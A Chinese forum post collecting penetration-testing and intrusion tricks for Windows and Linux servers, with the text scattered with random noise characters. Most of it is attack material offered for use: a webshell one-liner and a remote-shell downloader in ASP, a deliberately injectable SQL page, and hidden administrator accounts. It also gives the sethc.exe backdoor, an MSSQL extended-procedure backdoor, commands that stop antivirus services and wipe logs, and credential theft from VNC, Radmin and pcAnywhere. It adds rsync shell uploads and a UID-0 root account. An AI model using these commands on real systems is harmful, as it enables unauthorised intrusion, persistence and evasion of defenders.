渗透技巧总结

admin

旁站路径问题
$ [- V7 q0 {2 E8 y! m1、读网站配置。
+ m8 j( _- ~, f  R! ?6 Y2、用以下VBS
6 p/ O' d2 c. k0 n" ^$ w3 zOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
$ H! z6 W8 e* M' Y' @        
+ o2 b4 V& ]# Y, c" \- v
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

# ~% u$ X- c" H/ i; F) RUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
; m# d; M. m+ ]- p8 C, M
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
2 W5 K+ f9 E! d9 d        If IsNumeric(obj3w.Name)

Then
2 F7 P# z/ i, ?* e( N) V                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
. m) a5 w8 e5 Z/ D+ b, W6 f) P
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
. P; Z2 S* E: y( U1 s
7 ?2 k3 k7 B! F, {+ \<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
2 I1 H  p' Z. R6 J- M                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
: ^* O2 w! Q/ [  W                        

  K* m' k" O/ c8 z% @& ~! b1 MWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
, ]+ s: T0 a3 v/ P" e& |      
/ k9 T; [( n9 }* }* o
         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
2 N0 v: F1 X/ N/ f3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
9 A! I$ E3 P" M6 V$ e4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
6 ~( Q) r- R1 r! ]! [* yphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
) K5 x3 R7 p5 r1 o! cdata/htdocs.网站/网站/
- v1 W8 Z9 Q: m! m5 G5 z" o, ^————————————————————
CMD下操作VPN相关
& i6 w1 N6 c2 b4 r" W+ @netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
, H' ^! C* W7 j# c5 h9 hnetsh ras show user #查看哪些用户可以拨入VPN
& H: B' [8 Z- [, ~& |netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
* Z" H! {& i: }- J" B————————————————————
/ w! s/ y+ X8 C, W2 @# j$ T) E命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
" }6 @6 u' _4 ^( {然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
7 i  B" _0 o2 @" l9 G; k9 p* I; i0 Jjs:
var o=new ActiveXObject( "Shell.Users" );
9 ^+ e/ N- C0 V+ Y) N3 s* |; Sz=o.create("test") ;
1 ?9 m2 U* w2 M) b# ~z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
+ @" _6 c; Y0 o# dSet   o=CreateObject( "Shell.Users" )
9 G5 b& n' ?) G4 Z* USet z=o.create("test")
z.changePassword "123456",""
" c/ f- i5 q! M4 L- _) g3 Bz.setting("AccountType")=3
——————————————————
  ~5 _: m! r) q# F4 ]+ d* {cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
( ~2 |: G9 ?' P+ r, icacls c: /e /t /g everyone:F           #c盘everyone权限
$ y! B0 l" n  A7 H4 ^: a9 H3 hcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
# w1 v) _9 x* H3 {+ Ea、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
3 w. E1 F) }' z& N. D9 W1 x2003 运行mstsc /console   

% d) M$ O9 W+ i! a, w* P/ f杀软关闭（把杀软所在的文件的所有权限去掉）
: U2 `) p& D+ [: X+ Q! k处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
* P4 w7 I* B0 N, N4 `, gnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
9 N2 I6 k3 H2 ^- c. T" o# w8 [
$ J' l% ^2 A% j3 L7 L卖咖啡：net stop "McAfee McShield"
————————————————————
! m2 V4 N* K, P: a* ^' y
, S# G% k$ w7 m5 C$ I/ ~1 P& u5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
! x  v2 x2 H  h  ]7 C——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
+ [* B' A' e  E' ?2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
* S+ P) V% A  f  D& w2 s( VMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
3 c! n5 Q, @2 F- H# wGRANT exec On xp_helpsystem TO public;
3 z, P8 b/ w) T9 Q, l/ d———————————————————————
2 f; v, X# @; Y0 G& K8 ^日志处理
( F' @3 l: }3 q0 O" rC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
. v+ h* |  Y. I) eex011120.log / ex011121.log / ex011124.log三个文件，
- d0 B! f: W1 k. c& ]: z4 Z! [+ l直接删除 ex0111124.log
不成功，“原文件...正在使用”
) [1 l1 e4 z& m* }5 U当然可以直接删除ex011120.log / ex011121.log
3 L+ `+ H8 z3 M! g用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
# }. j- U% H( n( B* ]
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
2 \1 \( e% [3 o% J—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
) H6 M0 E8 x" s7 ?: V
<%
: R" l, o  [0 [1 ~. N4 D* oSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
! o* T' N2 q. O! h  WDim Ads, Retrieval, GetRemoteData
. M; ?. v8 c$ L3 p5 eOn Error Resume Next
3 j2 M- m/ e0 m' L% MSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
& P: p/ k6 [1 w5 OWith Retrieval
1 W3 @9 C# w/ q7 H) V" _" U; D.Open "Get", s_RemoteFileUrl, False, "", ""
) B& v) ]- L7 c& z4 o) t9 ^( Q9 w.Send
GetRemoteData = .ResponseBody
0 m8 B+ W9 A5 n5 cEnd With
! f+ e7 p+ E; {% v7 |6 oSet Retrieval = Nothing
! ?" L# V3 R3 K9 m  XSet Ads = Server.CreateObject("Adodb.Stream")
! c: |8 c, V4 x5 T6 X5 M9 wWith Ads
.Type = 1
* P; l6 K+ w; ~3 v- P$ i' Z.Open
6 U2 w' I3 k- y.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
9 T- m7 C5 A& i% ~( Q.Cancel()
6 {- P; r/ Q* s/ {6 ]8 i.Close()
End With
Set Ads=nothing
3 @( b: U# U/ ?2 |1 B4 t. fEnd Sub
$ N; x8 t/ q/ t2 E7 O
5 F, W" ~6 j& F* s7 [eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
  S, [! K' V, c! M; ZHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
8 j6 q1 [: }& ~, x然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
& u9 k: e$ Q) `+ IUsers\Application Data\Symantec\pcAnywhere\文件夹下。
) q9 J, d7 X, C, \' R——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
$ m+ w2 a. i9 X6 u* B& O没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
& `6 K% @" A- b5 V4 \  `$ [. h  z
1433 SA点构建注入点。
4 }/ S. [8 A) e8 H# R5 o( r4 \<%
/ h5 X& s  L6 E, }strSQLServerName = "服务器ip"
, W9 I; b$ F6 OstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
# W, l) X/ \9 PstrSQLDBName = "数据库名称"
- V+ Q+ l" d$ `. ZSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
& h& n1 T' X* E4 x0 H5 b) W
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
6 F3 W  s0 s' h* uset rs=server.createobject("ADODB.recordset")
6 V* W8 n9 V8 q) w1 U  [8 xid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
  {5 {0 {& r+ N3 v复制代码
******liunx 相关******
一.ldap渗透技巧
% U. Z& B0 |( Z: ^- ^1.cat /etc/nsswitch
/ }5 i. |0 Q; K% }看看密码登录策略我们可以看到使用了file ldap模式

8 X% z( \/ i- J6 S2.less /etc/ldap.conf
" E, D4 i8 W& E. P+ H9 wbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

" O* @9 v3 C' [/ _# p7 I0 m3.查找管理员信息
7 G$ S, W# h$ L$ U/ n# N, A匿名方式
) P3 w' e( R" \" g0 w" P/ Gldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
' J! `  N+ F5 _- Z
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
% ~% A/ z* V) a0 G! c+ \ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% [$ a# ^  Q. a
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
* f, O2 i* G5 N

& H8 d/ N& Y2 u' D: y4.查找10条用户记录
: j6 A8 Q* J6 c" Sldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
. c$ W2 r' m0 W6 W( c( `4 Ibase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

6 h7 V9 ^( [) a% ?- n3 h' U3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
$ @$ _- a: }- `9 m  J
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 `6 {  L: g: O1 x8 K有密码形式
8 t) \% x( P2 R$ Q  T/ Xldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: [% [; _5 b* }8 h2 U, ]
" w& V* R, M( E& v1 s
4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
3 {9 P# x  X$ R9 ^( e+ qldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
+ {- R9 p# [: C- S4 L' adn: dc=ruc,dc=edu,dc=cn
dc: ruc
( r3 b9 f! o- p5 J" yobjectClass: domain
0 m) v/ h+ \4 ~6 z) n/ _& g0 d0 q+ V
dn: uid=manager,dc=ruc,dc=edu,dc=cn
' J7 ?8 g* x8 o; N6 j" Xuid: manager
( a9 u( j  y, E/ T/ \& S0 oobjectClass: inetOrgPerson
% n2 c2 z8 s. W- k6 T4 p9 |objectClass: organizationalPerson
objectClass: person
objectClass: top
( o" R+ h  h& R4 x8 zsn: manager
* y" F3 p6 e+ Z* Q: Ucn: manager
. X# {  }: `/ Y) V) X
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
8 K( q; ^  O; }  Jsn: superadmin
- J4 C8 t- f, m1 I4 O) a1 Wcn: superadmin
4 k; l! U& w0 S' Z7 Z3 A& _
8 F  h, N; U/ m- z7 k4 `- `) ddn: uid=admin,dc=ruc,dc=edu,dc=cn
1 z) h1 j' N) a* \* Z: ^  Puid: admin
+ b) s# I! g3 X6 o( s- u/ ^* X9 kobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
. `+ s9 ^6 L3 ?% y" F3 z) Tsn: admin
cn: admin

: G& _; ~% T5 T% o0 edn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous
% |2 m0 R% ?' `! g/ T
2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

7 [& M* C+ e9 L: Q9 {, `1 z7 D/ tmore
7 \' A" H) E5 [$ Gversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
! z6 K# ^1 Q) u: w. K$ |3 JobjectClass: domain
1 }- D% N' {' V# _2 R! H
3.查找
( w/ L3 ?' w' u9 X( l4 Cbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
0 ?. K+ Y0 X1 r1 D; cobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
5 y$ C6 u- b/ ZsupportedExtension: 2.16.840.1.113730.3.5.7
: y2 b; V2 \' ^' R# x, @supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
! i7 W: V0 f3 ?supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
$ I4 r- g8 Q, p; H. nsupportedExtension: 2.16.840.1.113730.3.5.4
% {  i; y- E+ tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
$ S7 ?( w4 u2 D/ I* A: ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
$ Y8 W$ i" J4 g- b+ fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
; s% U* S: [9 [) L2 n+ gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
2 F$ |  x1 o. I  A. W6 isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
  r7 N+ j9 a# ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
6 x! }2 d( q% q  [! XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
. Z" Q+ q$ x5 x7 ~" d: ^+ |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
3 w9 }9 G% J+ W) `( ^& O  WsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
4 d, p* [, |; vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
) N( N! i2 M- k. B- BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
6 H& g% _: c& ^9 EsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
( R9 d$ S. a" V/ w9 csupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
! D- B. @3 Z5 N2 C/ Z+ J0 IsupportedControl: 2.16.840.1.113730.3.4.15
1 i& ^! Y, U8 D# L6 E% }+ esupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
9 W% T2 f: n8 F) G' PsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
8 u; }: y7 d+ N+ K' n" I( w; ksupportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
6 p2 s4 }. ~1 w+ k- HsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
: D; j+ V' }0 Q  O, F( p& g6 _0 y7 ~supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
5 V5 T% F2 v5 e0 Z7 Y& _/ w* `supportedControl: 2.16.840.1.113730.3.4.18
+ H8 z: h  w  U2 F2 `# C/ isupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
1 v2 F/ D6 r3 x! K1 a8 d) r1 [supportedSASLMechanisms: DIGEST-MD5
  I$ ^/ v; L, W+ wsupportedLDAPVersion: 2
- W8 ]& Y7 _6 O% J2 p& j( IsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
+ b7 n0 ?+ O+ @  yvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
& I: u9 j9 L4 W1 rsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
, L. X& f, m- u4 e) zsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
* W/ ^9 _* K9 z) x) ?supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
, S( r# n9 q$ M0 [1 YsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
8 z$ |% s+ R: _. f3 U; ssupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
* U9 F! P& C: H6 K+ B/ _supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
3 f5 F9 P6 H. L0 ~% m! G" RsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
9 K  }3 ~9 x1 r3 ?supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
7 M/ ^& z, k$ `+ E# JsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
/ T# z6 [3 C0 H) }3 ]9 F3 c5 xsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
+ \! l" _2 i& l0 b7 ^* usupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
) @$ H8 z" b4 |! M: hsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0 h# r( y; K* LsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
2 ?* X! A1 C: r4 w4 b0 JsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
( `, S, l' B, \! a- f- RsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
, O* |, K! ?; b* j& |0 m3 ~supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
5 C. L8 k' y9 j1 ksupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
1 S+ z9 u" U2 O# bsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
/ R2 B" }. r3 U' h1 I. wsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
9 a( W* k& n+ [' A: w! E) LsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
% H4 n. [! G1 s+ ]supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
" z+ C) \  ^7 F  O8 z- P2. NFS渗透技巧
" \" w' w7 X& m7 b; L$ Vshowmount -e ip
6 k! W) A- M' C+ o9 m+ z: r5 i3 i列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
; p0 ^9 E+ Y' h0 `img_finance
auto
img_auto
. k) `1 Y' o  T" W! b0 `2 dhtml_cms
' ~7 X) ]* N% S' a2 y# Z/ ~: zimg_cms
ent_cms
( H3 z: K$ i1 [% Z2 J9 @ent_img
& j% ]0 g9 ^' o7 d. V' |3 d0 xceshi
( u( w1 R: J8 k0 s; i/ xres_img
$ j' V; B" e) \3 t+ Y  m) wres_img_c2
chip
3 X5 X$ f" V" E# E5 ?chip_c2
ent_icms
games
gamesimg
" w/ C; o2 ~( @8 L- [media
mediaimg
! {- ?" ^! W2 l" d8 }$ f; H) J5 zfashion
" j! U$ f. m& ~; cres-fashion
2 u  t1 ]9 x7 Y1 t9 [$ C) Ores-fo
taobao-home
8 G& \9 m- L( k$ S2 R! Ores-taobao-home
2 `5 o  W' x. s2 |5 ?. Ahouse
& q! c7 A* e, h/ W! vres-house
res-home
* J. D  a0 s; p# C6 sres-edu
res-ent
res-labs
res-news
& x! H6 A3 F' B7 }" i+ _; ?res-phtv
$ |* z6 O" @" L7 m/ d- Rres-media
$ z% D( n. h. v8 r# i2 v3 t+ Hhome
edu
news
- N& x  X( b0 D- r  hres-book

看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
5 _% j0 G% Z0 `8 jrsync 210.51.X.X::edu/

3 K/ L1 ?* V% ^4 Z+ Q$ P/ j2.下载rsync服务器上的配置文件
0 F4 M: O) J1 U; C5 Z* n' srsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
+ b1 G! L0 b8 q; e4 S4 x" G9 j  O
, a+ x" F0 C, ?' U0 j% u3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
  E5 T. P0 g: jhttp://app.finance.xxx.com/warn/nothack.txt
  a0 L& s/ S9 t
* [6 |  L: t( _  E; T: O四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

: B1 h) o% J6 |6 K9 B2 s( d六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
' u/ Q: f4 J. x) l( Q( f; u
- \# M( C* I/ e: n7 T$ |1 _15&catid=32:languages&Itemid=47
% J. ?5 p4 t  R. q% F
4 E* Z5 |4 k6 p$ O  g重新设置密码
index.php?option=com_user&view=reset&layout=confirm

七: Linux添加UID为0的root用户
, x5 H1 a. Y% D; Q2 K0 H4 y6 P+ `useradd -o -u 0 nothack

3 n. P! [, ?5 C8 P6 q; X八.freebsd本地提权
[argp@julius ~]$ uname -rsi
+ \3 A8 Y( M" I* t- i0 J* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
7 e0 d7 ?$ ]+ M5 W3 o8 e* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
; T$ {( l- ~7 }*
1 C6 _0 e8 r) ~9 w1 hcalling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
) A5 `9 O7 K1 p' E, N关于tar的打包方式,linux不以扩展名来决定文件类型。
/ @# r0 _1 e" [: k* J若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

5 l8 x! A, A3 Z+ h8 W, D  W$ v7 k提权先执行systeminfo
token 漏洞补丁号 KB956572
6 s6 v& f9 R; ?6 sChurrasco          kb952004
+ I+ B8 w; s* v6 ]& ?4 V5 H5 Z/ B命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
